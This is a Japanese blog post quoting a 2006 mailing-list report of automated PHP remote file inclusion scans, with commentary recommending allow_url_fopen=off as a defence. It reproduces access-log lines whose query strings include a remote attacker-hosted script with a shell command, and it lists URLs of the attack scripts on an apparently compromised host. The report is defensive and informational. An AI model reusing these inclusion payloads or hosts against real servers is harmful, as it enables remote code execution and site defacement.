yohgaki's blog

webappsecでこんなメールを見かけました。

For the most part I ignore the dozens of daily attacks against my system but this one caught my eye. Looks like some defacing groups are writing/implementing
perl scripts to identify query strings, and attempt php inclusion attacks against them (not using known exploits). Below is a log snippet.

202.226.224.67 - - [08/Jan/2006:21:32:43 -0500] "GET / HTTP/1.0" 200 37172 "-" "lwp-trivial/1.35" 202.226.224.67 - - [08/Jan/2006:21:32:44 -0500] "GET /?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 37172 "-" "lwp-trivial/1.35"
202.226.224.67 - - [08/Jan/2006:21:32:45 -0500] "GET /webservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 24083 "-" "lwp-trivial/1.35"
202.226.224.67 - - [08/Jan/2006:21:32:46 -0500] "GET /phishing/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 30626 "-" "lwp-trivial/1.35"
202.226.224.67 - - [08/Jan/2006:21:32:47 -0500] "GET /database/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 24267 "-" "lwp-trivial/1.35"
202.226.224.67 - - [08/Jan/2006:21:32:48 -0500] "GET /appservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 24521 "-" "lwp-trivial/1.35"
202.226.224.67 - - [08/Jan/2006:21:32:49 -0500] "GET //lib/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 47471 "-" "lwp-trivial/1.35"
202.226.224.67 - - [08/Jan/2006:21:32:50 -0500] "GET /archive/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 25445 "-" "lwp-trivial/1.35"
202.226.224.67 - - [08/Jan/2006:21:32:51 -0500] "GET /development/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 24286 "-" "lwp-trivial/1.35"
202.226.224.67 - - [08/Jan/2006:21:32:52 -0500] "GET /ws/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 29316 "-" "lwp-trivial/1.35"
202.226.224.67 - - [08/Jan/2006:21:32:53 -0500] "GET //pen-test/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 29892 "-" "lwp-trivial/1.35"
202.226.224.67 - - [08/Jan/2006:21:32:54 -0500] "GET /ajax/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 28338 "-" "lwp-trivial/1.35"
202.226.224.67 - - [08/Jan/2006:21:32:55 -0500] "GET /appfirewall/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0" 200 24073 "-" "lwp-trivial/1.35"

The script located at www.sanicentrum.be might interest some of you, as well as the include file it uses at http://www.sanicentrum.be/private/therules25.dot
and the many scripts it uses/looks for.

Working Referenced Links
* http://www.sanicentrum.be/private/tool25.dot
* http://www.sanicentrum.be/private/writer25.dot
* http://www.sanicentrum.be/private/get25.dot
* http://www.sanicentrum.be/private/filed25.dot
* http://www.sanicentrum.be/private/filed_put25.dot (Of Interest)
* http://www.sanicentrum.be/private/copyd25.dot
* http://www.sanicentrum.be/private/flist25.dot
* http://www.sanicentrum.be/private/style25.dot (Because every defacement group needs html templating :)

Non working (at this time)
* http://www.sanicentrum.be/private/safe25.dot

I've contacted sans since the parent host *appears* to be hacked.

- Robert
http://www.cgisecurity.com/ Website Security News, and more!
http://www.cgisecurity.com/index.rss [RSS Feed]

-------------------------------------------------------------------------------
Watchfire's AppScan is the industry's first and leading web application
security testing suite, and the only solution to provide comprehensive
remediation tasks at every level of the application. See for yourself.
Download AppScan 6.0 today.

https://www.watchfire.com/securearea/appscansix.aspx?id=701300000003Ssh
-------------------------------------------------------------------------------

Perlスクリプトでブルートフォース的にファイルインクルードバグがあるPHPスクリプトの攻撃を試みているようです。調べて見ると、私のサーバにも同様のアクセスログが残っていました。トップページにあるリンクを抽出し、クエリ文字列部分を書き換えて試してみる作りになっているようです。攻撃用のPHPスクリプトは削除されていて今はアクセスできないようです。

スクリプトインジェクションが出来るのであまり役に立たないとはいえallow_url_fopen=offなら万が一スクリプトインクルードバグがあってもこの攻撃からは守れますね。